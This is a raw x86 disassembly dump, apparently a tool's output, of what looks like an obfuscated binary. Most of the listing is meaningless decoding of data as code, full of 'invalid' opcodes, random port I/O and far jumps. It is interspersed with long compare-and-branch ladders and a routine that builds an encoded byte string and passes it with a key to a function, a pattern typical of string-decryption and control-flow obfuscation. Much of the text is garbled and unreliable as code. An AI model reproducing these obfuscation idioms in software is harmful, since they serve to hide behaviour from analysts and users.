in eax, dx
mov cl, byte [eax + 0x16]
mov cl, 0x65
jmp 0x6847e697
pop edi
add eax, 0xd2df0dbd
or dh, byte [esi + 0x51]
invalid
in al, dx
in al, 2
rcr ch, 0x15
mov ah, 0xc3
or bl, al
ret 0x1b5a
pop ebx
xchg edx, eax
invalid
mov word [edi + 0x3e272846], ds
out dx, eax
in al, 5
nop
int3
mov ebx, 0x4951e1b6
jo 0x68480452
retf
jl 0x684804b9
lea esi, [eax + ebp*4 - 0x4e]
test al, 0xb2
push 0x4890f340
cwde
jo 0x6848053a
ror dword [ebx - 0x71], cl
popfd
adc byte [ecx + edi*2 - 0x336f0a79], bl
jmp 0x68484df5
dec edx
mov ebp, dword [0xdd746784]
mov ecx, 0x65daa83d
push edi
mov ebp, 0x50584dc5
les ecx, [edx]
push cs
jnp 0x68480536
scasd eax, dword es:[edi]
shl byte [esi - 0x78], 1
nop
out 0x8c, al
fldenv [ebx + 0x5cc85db7]
push cs
sahf
adc eax, 0xb4e5a707
pushfd
out 0x39, eax
outsb dx, byte [esi]
scasd eax, dword es:[edi]
invalid
dec edx
sub dword [esp - 0x6c], esi
mov bl, 0x21
pop ecx
xor eax, 0x17413730
and eax, 0xc1a9dd2e
sahf
inc esi
push 0x6b
cmp ah, byte [ecx]
bound edx, qword [0xb1baf312]
adc bl, bl
inc ecx
nop
int3
in al, 0x82
ror dword [ecx], cl
loopne 0x68480faa
jg 0x68480ffb
jbe 0x68480f8c
cmpsb byte [esi], byte es:[edi]
push ds
push ecx
dec edx
ret 0xb32f
push ebx
pop esp
ljmp 0xc920
test eax, 0x7311478c
lea esi, [ebx - 0x58]
fscale
invalid
jle 0x684819ca
or al, 0xf8
adc byte [edx + ebp*8], ch
inc ecx
xchg dword [edi - 0x1123e211], esi
lock add dword [eax - 0x55], ebx
mov edi, 0x6acd2158
insd dword es:[edi], dx
sub eax, 0x9d2301e0
call 0x96353242
fld dword [ebp - 0x5d]
int1
xchg dword [eax - 0x5c], edx
xchg esp, eax
add esi, dword [eax + 0x40fb84e3]
cld
xor al, 0xd2
retf
cmpsb byte [esi], byte es:[edi]
lahf
dec esp
or al, 0x94
mov dl, 0x60
push ebx
lds esp, [ebx + 0xb]
and cl, byte [esi - 0x5ae2adbb]
lcall 0x6630, 0xde3a610a
adc dh, byte [ebx + edi*2 - 0xfdeacc8]
retf
in eax, 0x6b
in eax, dx
retf
push ecx
adc byte [ecx + ecx*2], 0x22
xchg ecx, eax
adc dword [eax + 0xb], ecx
add al, 0xbb
fistp dword fs:[edi + 0x7f]
and dword [ebx - 0x3d], 0xf33f762e
test al, 0xef
invalid
enter 0xfffffffffffffda6, 0xffffffffffffffe8
lcall 0x7a2, 0x7b0e7785
adc bh, byte [edx + 0x26fe51e4]
xchg edi, eax
cmp dword [edx], ebx
sbb ebx, dword [esi + esi*4]
ret
nop
jmp 0x68484df5
nop
mov eax, dword [0x68b07018]
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea edx, [ebp - 0x20c]
mov dword [esp], edx
call eax
mov dword [ebp - 0x88], 0x8f5d9
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x90], 0xb9fa2
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x90]
mov edx, eax
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x88]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x88]
mul dword [ebp - 0x90]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x98]
xor eax, 0x26b05a52
mov edx, dword [ebp - 0x94]
xor edx, 0x68
or eax, edx
je 0x6848b840
mov edx, 0x26b05a52
mov eax, 0x68
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6848b843
mov eax, dword [ebp - 0x98]
xor eax, 0xd7999
or eax, dword [ebp - 0x94]
je 0x68485ae3
mov edx, 0xd7999
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6848b843
mov eax, dword [ebp - 0x98]
xor eax, 0xc1eaa
or eax, dword [ebp - 0x94]
je 0x68488ec3
mov edx, 0xc1eaa
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6848b843
mov eax, dword [ebp - 0x98]
xor eax, 0xc058d
or eax, dword [ebp - 0x94]
je 0x68486fa3
mov edx, 0xc058d
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6848b843
mov eax, dword [ebp - 0x98]
xor eax, 0xaf47d
or eax, dword [ebp - 0x94]
je 0x68488463
mov edx, 0xaf47d
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6848b843
mov eax, dword [ebp - 0x98]
xor eax, 0xa771c
or eax, dword [ebp - 0x94]
je 0x68486543
mov edx, 0xa771c
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6848b843
mov eax, dword [ebp - 0x98]
xor eax, 0x94a86
or eax, dword [ebp - 0x94]
je 0x6848ade3
mov edx, 0x94a86
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6848b843
mov eax, dword [ebp - 0x98]
xor eax, 0x75ed6
or eax, dword [ebp - 0x94]
je 0x68487a03
mov edx, 0x75ed6
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6848b843
mov eax, dword [ebp - 0x98]
xor eax, 0x73dc7
or eax, dword [ebp - 0x94]
je 0x68485083
mov edx, 0x73dc7
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6848b843
mov eax, dword [ebp - 0x98]
xor eax, 0x18a5
or eax, dword [ebp - 0x94]
je 0x6848a383
invalid
mov eax, dword [ebp - 0x98]
xor eax, 0x6ca58
or eax, dword [ebp - 0x94]
je 0x68489923
jmp 0x6848b843
cmp dword [edx - 0x4daa2092], esi
dec ebx
mov dl, 0x4b
test dword [ecx - 0x71], edi
nop
mov byte [0x22a5d8e0], al
mov ch, 0x50
cmp ch, bl
mov byte [0x6302df20], al
adc eax, 0x71ee5500
and byte [edx], ah
outsd dx, dword [esi]
and al, 0xe4
push cx
push edx
sti
cmp esi, dword [edx]
bound ecx, qword [edi - 0x6b88bc81]
pushal
mov dl, byte [eax]
mov dl, 0xd2
jb 0x68485088
push es
imul esi, dword [esi + 0x18], 0xc9cfa55b
mov edx, 0x7542d773
fdivr qword [esp + edx + 0x2e]
dec ebx
test al, 0x3d
popfd
loopne 0x68485054
push ecx
fcom dword [edi]
xchg byte [esi + 0x31b3b6f7], dh
aad 0xdd
jge 0x684850eb
mov ebx, 0x7b48034b
lodsb al, byte [esi]
sbb esp, dword [esi - 0x14f1b3e]
inc esi
in al, dx
imul ebp, dword [eax + 0x76], 0xab21e061
iretd
lodsb al, byte [esi]
push esi
dec ebx
dec esp
xor dword [edi + 0x6c48f679], 0xffffffdd
test dword [edx - 0x6f558ca1], ebx
lahf
push edx
enter 0x82f, 0xe
stc
wait
and byte [0xb0b5961b], bh
bound ebp, qword [ecx + 0x1d]
dec ebx
cmp dword [ebp + edx - 0x2968e941], esp
dec ebx
lcall 0xb015, 0xfef61e18
ret 0x12df
pop esi
ljmp 0x8509
scasb al, byte es:[edi]
test edi, esp
test dword [ecx - 0x68d143db], ebx
jae 0x684864bc
and edx, 0xfb692e1f
in eax, 0xe9
invalid
mov esi, 0x736c56bc
mov ebx, 0xc69c589f
mov ebx, 0x134ad902
and bl, 0xce
repe cmpsd dword [esi], dword es:[edi]
pushfd
add eax, 0x9f35defe
push es
neg bh
xor eax, 0x6d91d540
mov cl, 0x66
mov ch, 0xc9
idiv bl
loope 0x684864ee
jne 0x68486598
wait
test eax, 0x987af9f6
mov ah, byte [edx + 0x65f6ce36]
in al, dx
xchg ebp, eax
add byte [edi + 0x62], ah
imul ebp, ecx, 0xcce9bc82
add byte ds:[ecx - 0x6cc1c1f7], dh
std
inc ecx
xchg ebp, eax
std
or byte [ebx - 0x363f0fa4], bh
push ss
aaa
invalid
inc edi
pop esp
jmp 0x1a568d64
pop ebp
jnp 0x68486f6b
shr byte [esi + ecx*2], 1
idiv byte [edx]
invalid
inc eax
int3
mov dword [0xc562616], eax
stc
imul edi, dword [edi - 0xa0cbcd0], 0xd7952911
jo 0x68488436
push edx
pop eax
mov ss, word [edi]
pop ebp
enter 0xffffffffffff9622, 9
add dh, byte [ebp + 0xc]
or bl, byte [edi - 0x4f]
xor eax, 0xcf86971c
into
or al, byte [ebp - 0x102a76ee]
aad 0xef
mov eax, dword [0xf65d8e43]
inc ebx
mov ds, word [ebp - 0xa]
xchg byte [edi + 0x2daefc36], dl
ja 0x684884b7
int3
out dx, al
dec ebx
insb byte es:[edi], dx
outsb dx, byte [esi]
mov dword [edi], edx
mov bh, 0xd8
pop esi
std
push edi
aad 0xfd
ficomp dword [edi + 0x43174ffc]
loop 0x68488408
sbb byte [ebp + 0x4a], bh
pop ecx
jle 0x68488433
das
mov esp, 0x789f715
or ebp, dword [eax + 6]
cmp byte [edi + esi - 0x41], dl
mov dh, 0xb4
fimul dword ss:[edi + 0x6d]
or ebp, dword [eax]
insb byte es:[edi], dx
xchg ebx, eax
sub dword [0xd33fc7cd], eax
psubusw mm6, qword [ebx + edx*4 - 0x38418387]
stc
mov dh, 0x49
and dh, ch
inc eax
push eax
loopne 0x684884d3
ret
ja 0x68488524
insb byte es:[edi], dx
cdq
xchg ebp, eax
pop ecx
inc esp
push 0xf60229f3
inc bh
jne 0x68488500
adc eax, 0xd93f690b
sub al, 0x69
pop edx
xchg bl, dh
scasb al, byte es:[edi]
add ah, 0xcc
out 0xbc, eax
lahf
pushal
das
fmul dword [ebp + ebx + 0x3a]
cmp byte [eax - 0xb], ah
xchg edx, eax
popfd
loopne 0x684884b5
test al, 0xf9
sti
xor ecx, esi
cmpsd dword [esi], dword es:[edi]
mov ebp, 0x1d1b12e8
invalid
push esi
salc
mov esp, 0xcedd3332
int1
pop edi
lds edi, [esi + 0x4c]
adc byte [ecx - 0x615c97f9], ah
mov ecx, ebp
jbe 0x684884f7
frstor dword [edx + 0x7c85e259]
pop esp
xchg ebx, eax
xchg edi, eax
xabort 0xffffffffffffffe6
add eax, 0x3d68d3d2
and bh, dh
dec ecx
push esi
outsd dx, dword [esi]
std
sub byte [ebp - 0x21132f20], al
mov esi, 0xaa84f915
jecxz 0x6848852c
push ss
sar byte [ebx - 0x756fce22], cl
invalid
add al, 0xcd
pop ebx
fucompi st(3)
outsd dx, dword [esi]
cmpsd dword [esi], dword es:[edi]
push edi
adc dh, cl
bound eax, qword [0xdc57dcc]
xor al, 0xcd
scasd eax, dword es:[edi]
sub al, 0x8a
dec ebp
mov bl, 0x8a
ja 0x68488ed1
mov eax, 0xc2e14254
into
and eax, 0x3adf10ee
pop ss
cmp al, 0xbb
mov cl, 0xf0
mov bl, bh
jno 0x68488e97
cmp eax, edi
xor eax, dword [0x3414939b]
adc al, 0x34
invalid
fiadd word [esi - 0x2f]
sbb edx, dword [esi - 0x10]
cmp dword [ebp - 0x4e8c6f32], esp
jge 0x68488f09
cmp bl, ch
std
loope 0x68488e61
jmp 0x68488ed0
add al, 0x44
xchg ebp, eax
xor ebx, ebp
imul edx, dword [ebp - 0x4a], 0x79
mov eax, 0xea8f95c3
pop es
ljmp 0x5254:0x4d4450bf
and byte [edi], bl
lea ebp, [ecx - 0x64753a2b]
sbb al, 8
adc eax, 0xb86373b8
cmp ah, cl
mov ah, 0x5a
mov byte [0x697f8681], al
mov dl, 0x46
and byte [eax], ch
adc ecx, ecx
movsb byte es:[edi], byte [esi]
dec esp
or cl, 0x9a
int 0x2b
mov cl, 0xc3
jne 0x68488ee5
adc al, 0x54
adc byte [edx - 0x5a611827], cl
pushfd
sbb al, 0xd7
push esi
mov eax, dword [0xd38686cc]
iretd
stosb byte es:[edi], al
aaa
mov dword [0xcd0e8038], eax
and byte [edx + ecx*8 - 0x6a], bh
xlatb
fstp qword [ecx]
mov bh, 0xf3
lds eax, [ebx - 0x73]
arpl word [esi + 0x3ee7c587], cx
lea esp, [ebx - 0x72]
xchg ebp, eax
out 0x3e, eax
and ecx, edx
jp 0x68489935
sbb edi, eax
sub dword [edi - 0x673d029d], edx
cmpsd dword [esi], dword es:[edi]
add dword [ebx], ebp
call 0x5e7165a7
push ecx
movsb byte es:[edi], byte [esi]
stosb byte es:[edi], al
fnstenv [eax]
mov al, byte [0xd32ff43f]
xchg edi, eax
wait
cmp al, 0x1e
lodsb al, byte [esi]
mov ss, word [edi - 0x14]
push es
pop ebx
ret 0xd985
adc bl, ah
mov esi, 0x89b93585
mov eax, 0xc1f7cd86
pop ebx
loopne 0x6848a3d8
push 0x7ecf3e2a
mov ecx, 0x509388e5
out 0x3a, eax
push es
dec ecx
inc esi
sub byte [esi - 0x2475ad29], dh
in al, dx
add eax, 0x2a9468ea
xor eax, 0xc41daa6b
invalid
retf
or al, 0x89
dec edi
pushal
iretd
adc eax, 0x5b47c811
jnp 0x6848ad7e
inc esp
int3
nop
jmp 0x6848b844
nop
mov dword [ebp - 0x220], 0x78186315
mov dword [ebp - 0x21c], 0x731c7308
mov dword [ebp - 0x218], 0x630b6f02
mov dword [ebp - 0x214], 0x7354785e
mov dword [ebp - 0x210], 0x7358
mov dword [ebp - 0xa0], 0xbc50e
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa8], 0xb3897
mov dword [ebp - 0xa4], 0
mov ecx, dword [ebp - 0xa0]
mov ebx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0xb0]
xor eax, 0x16fda5
or eax, dword [ebp - 0xac]
je 0x684917ee
mov edx, 0x16fda5
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x684917f1
mov eax, dword [ebp - 0xb0]
xor eax, 0xe2027
or eax, dword [ebp - 0xac]
je 0x6848cf51
mov edx, 0xe2027
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x684917f1
mov eax, dword [ebp - 0xb0]
xor eax, 0xe164d
or eax, dword [ebp - 0xac]
je 0x6848c4f1
mov edx, 0xe164d
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x684917f1
mov eax, dword [ebp - 0xb0]
xor eax, 0xbedb2
or eax, dword [ebp - 0xac]
je 0x6848d9b1
mov edx, 0xbedb2
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x684917f1
mov eax, dword [ebp - 0xb0]
xor eax, 0xb02dc
or eax, dword [ebp - 0xac]
je 0x6848ba91
mov edx, 0xb02dc
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x684917f1
mov eax, dword [ebp - 0xb0]
xor eax, 0x7fd28
or eax, dword [ebp - 0xac]
je 0x68490d91
mov edx, 0x7fd28
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x684917f1
mov eax, dword [ebp - 0xb0]
xor eax, 0x6c5ac
or eax, dword [ebp - 0xac]
je 0x68490331
mov edx, 0x6c5ac
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x684917f1
mov eax, dword [ebp - 0xb0]
xor eax, 0x4ca9a
or eax, dword [ebp - 0xac]
je 0x6848f8d1
mov edx, 0x4ca9a
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x684917f1
mov eax, dword [ebp - 0xb0]
xor eax, 0x2953a
or eax, dword [ebp - 0xac]
je 0x6848ee71
mov eax, dword [ebp - 0xb0]
xor eax, 0x394ac
or eax, dword [ebp - 0xac]
je 0x6848e411
jmp 0x684917f1
shl dword [edx - 0x14], 1
mov dword [eax - 0x37], edi
or eax, 0x406fe50a
in eax, 0x6f
inc eax
jp 0x6848bac9
rcl dword [ecx + 0x59ae97ab]
out dx, al
cmp al, 0xf7
push ebx
out 0x4f, eax
not dword [esp + ecx]
fdivr qword [eax + 0x34]
int 8
ficomp dword [ecx + 0x1c352b89]
mov ch, ch
adc edx, ebx
aad 0x2a
xor edx, esi
loop 0x6848ba99
adc eax, 0xa30b9a68
mov al, 0xb6
les ebp, [edx + 0x7f]
mov byte [0xd7d1a412], al
and al, byte [edi]
dec esp
arpl word [edx - 0x4d], dx
xchg edx, eax
push edx
mov bl, 0x92
xlatb
inc esp
mov esi, 0x6aa26e43
lcall 0xfa3, 0x39056cfc
cmp bl, byte [eax - 0x6ee2df68]
je 0x6848bad5
xchg ecx, eax
xchg esp, eax
out dx, al
sal dword [edx], 0x7e
sbb byte [ecx - 0x7a06e60], bh
aaa
fadd dword [ecx + 0x53]
pop eax
int3
leave
dec ecx
sbb dword [ecx - 0x51], esi
fucompi st(1)
invalid
or al, 0x3f
stosb byte es:[edi], al
xchg ebp, eax
test byte [ebp + 0x141a92c2], bl
js 0x6848c4cb
invalid
lds ebp, [edi]
pop edx
adc edx, eax
invalid
std
invalid
lodsd eax, dword [esi]
jg 0x6848d949
int3
test ah, bl
mov dword [0xecae4aeb], eax
inc ecx
sbb dword [edx + 0x64], 0xffffffbc
adc al, 0x1a
jp 0x6848e46f
mov byte [edx - 0x2fb5a53e], ah
mov ebx, 0x7ff552d4
push edx
adc esp, eax
cmpsd dword [esi], dword es:[edi]
pop ebp
lodsb al, byte [esi]
xor dword [edi], edx
sub dword [ebx - 0xe445dae], esi
add eax, 0x528ecf25
cli
cmc
dec ebx
std
stc
sti
or byte [eax], al
out dx, al
pop eax
add ah, ah
lcall 0xc558, 0xbab0d138
jns 0x6848e465
cmpsb byte [esi], byte es:[edi]
mov edx, 0x5b3a6192
aam 0xdf
call 0xb777eaa3
push 0x43daa152
push ds
mov bh, 0xf9
mov eax, dword [0xb71e43da]
stc
wait
stc
invalid
xchg esi, eax
adc eax, 0xfac349a8
inc esi
scasd eax, dword es:[edi]
in eax, 0x5e
dec esi
jns 0x6848e4eb
and eax, 0x7cfd4bb0
or cl, byte [edi - 0x21]
adc esp, dword [ecx + 0x7de67312]
sbb ah, ch
jno 0x6848e4af
xor ebx, dword [ebp + 0x1a]
mov eax, dword [0x1290cf6e]
scasd eax, dword es:[edi]
sahf
mov al, byte [0x8e3c0533]
mov eax, dword [0x8b74827]
lcall 0x54b8, 0xb96a77c1
salc
sub eax, dword [edx]
test dword [ecx - 0x70de7257], ebx
pop ds
test eax, 0x1f8f218d
rol dword [edi], 0xed
invalid
mov ecx, 0xf3bb4d8d
adc ah, bl
out dx, eax
test eax, 0x7228747f
cmp eax, dword [eax]
inc edx
inc ebx
pop ds
lodsd eax, dword [esi]
inc ebp
nop
int3
scasd eax, dword es:[edi]
inc ecx
cmp dword [edx - 0x545097e5], edi
xor ah, al
mov dword [0xd652cfae], eax
jp 0x6848ee6d
dec edi
outsd dx, dword [esi]
sub esi, edi
jge 0x6848ee49
sbb esi, dword [edi - 0x23103e81]
mov bh, byte es:[edx - 0x16336f5c]
sub dword [ecx], 0xa49a0000
lcall 0x8e59, 0x12189fa4
je 0x6848ee73
lahf
sbb byte [edx], dl
pop ecx
invalid
jno 0x6848ee51
in eax, 0x96
xchg esi, eax
inc eax
mov ebp, 0x2c621a1a
sbb al, 0xf2
mov edx, 0x45cccbac
sub al, 0x1c
mov edx, 0x45cccbac
aas
sar dword [0x18428bd8], 1
mov cl, 0xa9
push ebx
jno 0x6848ee7d
daa
neg byte [edi + 0x6538e5b6]
push es
xchg edx, eax
les ebx, [esi]
int 0xbb
lea edx, [edx + edx*2]
sbb al, 0x77
mov dh, 0x2c
rol byte [ebp - 3], cl
mov byte [0xac6eafd7], al
test eax, 0x333b6927
push 0xf6db2caa
dec ecx
jno 0x6848ef1d
test dword [eax], ebx
sbb dword [eax + 0x2e], ebx
jno 0x6848ee83
sub esp, dword [esi + 0x5b]
adc byte [esi - 0x5c], 0x91
mov ecx, ds
fnstcw word [esi + ebx]
leave
fst dword [edx - 0x37]
sub dword [eax + 0x7bc383dc], 0xffffff87
ret 0x5b4f
dec eax
cmc
add eax, 0xd5fcdd70
invalid
jbe 0x6848f8e1
dec esp
xlatb
div edi
pop edx
push 1
aad 0xc8
mov ecx, 0x6ac785a9
xchg esp, eax
mov byte [edi - 0x78], bh
test dword [ecx + 0x6646b9cb], edx
push es
wait
aas
aaa
ret 0xeffc
loop 0x6849036b
retf
xchg edx, eax
wait
invalid
dec edi
ret
jl 0x68490d69
add al, 0x8a
movsb byte es:[edi], byte [esi]
insb byte es:[edi], dx
sal byte [esp + eax*4 - 0x42], 0x52
or al, 0xf1
pop ecx
pop edx
push ecx
sbb dword [edx - 0x2b], edi
sub al, 0xae
test al, 0x69
adc al, 0x48
test byte [eax], 0x97
invalid
nop
jmp 0x684917f2
nop
mov dword [esp + 8], str.gcmxfsxsno
mov dword [esp + 4], 0x12
lea eax, [ebp - 0x220]
mov dword [esp], eax
call fcn.68250591
mov dword [ebp - 0xb8], 0xb2307
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xc0], 0x9e388
mov dword [ebp - 0xbc], 0
mov ecx, dword [ebp - 0xb8]
mov ebx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xc8]
xor eax, 0x15068f
or eax, dword [ebp - 0xc4]
je 0x684a00ff
mov edx, 0x15068f
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0xf122d
or eax, dword [ebp - 0xc4]
je 0x6849e1e2
mov edx, 0xf122d
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0xf0ffd
or eax, dword [ebp - 0xc4]
je 0x6849f6a2
mov edx, 0xf0ffd
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0xf0eef
or eax, dword [ebp - 0xc4]
je 0x6849ec42
mov edx, 0xf0eef
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0xed6bd
or eax, dword [ebp - 0xc4]
je 0x68494642
mov edx, 0xed6bd
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0xd0ccd
or eax, dword [ebp - 0xc4]
je 0x68493182
mov edx, 0xd0ccd
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0xc2661
or eax, dword [ebp - 0xc4]
je 0x68492722
mov edx, 0xc2661
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0xb7b14
or eax, dword [ebp - 0xc4]
je 0x68497a22
mov edx, 0xb7b14
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0xa8b89
or eax, dword [ebp - 0xc4]
je 0x6849b862
mov edx, 0xa8b89
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x8f23c
or eax, dword [ebp - 0xc4]
je 0x68498ee2
mov edx, 0x8f23c
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x8e388
or eax, dword [ebp - 0xc4]
je 0x68495b02
mov edx, 0x8e388
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x71c1a
or eax, dword [ebp - 0xc4]
je 0x68491cc2
mov edx, 0x71c1a
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x717c4
or eax, dword [ebp - 0xc4]
je 0x68496fc2
mov edx, 0x717c4
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x5da98
or eax, dword [ebp - 0xc4]
je 0x68496562
mov edx, 0x5da98
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x5a718
or eax, dword [ebp - 0xc4]
je 0x68499942
mov edx, 0x5a718
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x50846
or eax, dword [ebp - 0xc4]
je 0x6849ae02
mov edx, 0x50846
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x456f0
or eax, dword [ebp - 0xc4]
je 0x6849a3a2
mov edx, 0x456f0
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x385d3
or eax, dword [ebp - 0xc4]
je 0x6849cd22
mov edx, 0x385d3
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x17e0a
or eax, dword [ebp - 0xc4]
je 0x6849c2c2
mov edx, 0x17e0a
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0xa156
or eax, dword [ebp - 0xc4]
je 0x68498482
mov edx, 0xa156
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x71a2
or eax, dword [ebp - 0xc4]
je 0x68493be2
mov edx, 0x71a2
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x684a0102
mov eax, dword [ebp - 0xc8]
xor eax, 0x63a
or eax, dword [ebp - 0xc4]
je 0x684950a2
mov eax, dword [ebp - 0xc8]
xor eax, 0x5ae5
or eax, dword [ebp - 0xc4]
je 0x6849d782
lds edi, [edx + 0x40e90000]
in al, 0
add byte [edx + 0x27], bh
jmp 0x684a0102
jp 0x68491ceb
cmp al, 0xa1
xor ch, ch
shr byte [ecx - 0x358c41d], cl
pop es
or dword [edi - 0x2b], esp
fnstcw word [edi + 0x7f]
mov al, byte [0xc49faa19]
mov edx, dword [eax + 0x4f045df]
jp 0x68491cb9
test dword [edx - 0x58], edi
sbb al, 0x70
int1
push cs
fisttp qword [edi]
mov esp, 0xc62d3147
in eax, dx
bound ebx, qword [ecx]
bsf eax, dword [edi + 0x31]
sub eax, 0x1962edc6
adc dword [edi], 0xde02d842
adc byte [esi + 0x4f25af7e], ch
or ebx, dword [esi]
iretd
ror byte [edx + 0xb3587b2], 0xa
invalid
pop ds
inc ebp
add ch, byte [ebp + ecx*2 - 0x61fee062]
sbb ch, ch
imul eax, dword [eax - 0x223b1648], 0x1f
sub byte [eax], ch
or byte [ecx], ah
jne 0x68493135
jmp 0x90690efe
shl byte [edx + 0x74], 1
mov eax, 0x5c92cae1
out dx, eax
popfd
jmp 0xda2e52a3
daa
mov bl, 0x43
adc cl, byte [ecx + 0x3898d52c]
jo 0x68493127
ljmp 0xf1d5:0x4bd867ce
xor ebp, ebp
mov edi, 0x57043a44
imul eax, dword [ebx + ecx*8 - 0x21], 0x72929a0a
test bl, ah
popal
adc ch, byte [ebp + 0x61becebf]
invalid
push esi
scasb al, byte es:[edi]
add dh, byte [edi - 0x47]
sbb eax, 0x4ba01e24
mov esp, 0xfc5c1d7
xor eax, 0xf8572894
in eax, dx
push es
test esp, eax
inc ebx
fld dword [eax + esi*8 - 0x41]
pop ebp
test eax, 0xc8702693
wait
popal
into
xor ah, cl
xor dword [ebp - 0xf9fd1a9], esi
salc
test byte [edx - 0x13], ch
sbb esi, esp
lds ebx, [eax - 0xa]
rcl dword [edi - 0x2e], 0xac
rol dword [ebx - 0x45], 0xa7
fidivr word [ebp - 0x5e]
and byte [ecx], dl
cdq
sub eax, 0x41093ca1
adc bh, ch
mov bh, 0x2b
push es
popfd
push ds
lcall 0x1b58, 0x942519a8
je 0x684946ff
push ss
invalid
cwde
aam 0x62
and eax, 0xcda323c4
test byte [ebx + 0x4b], ah
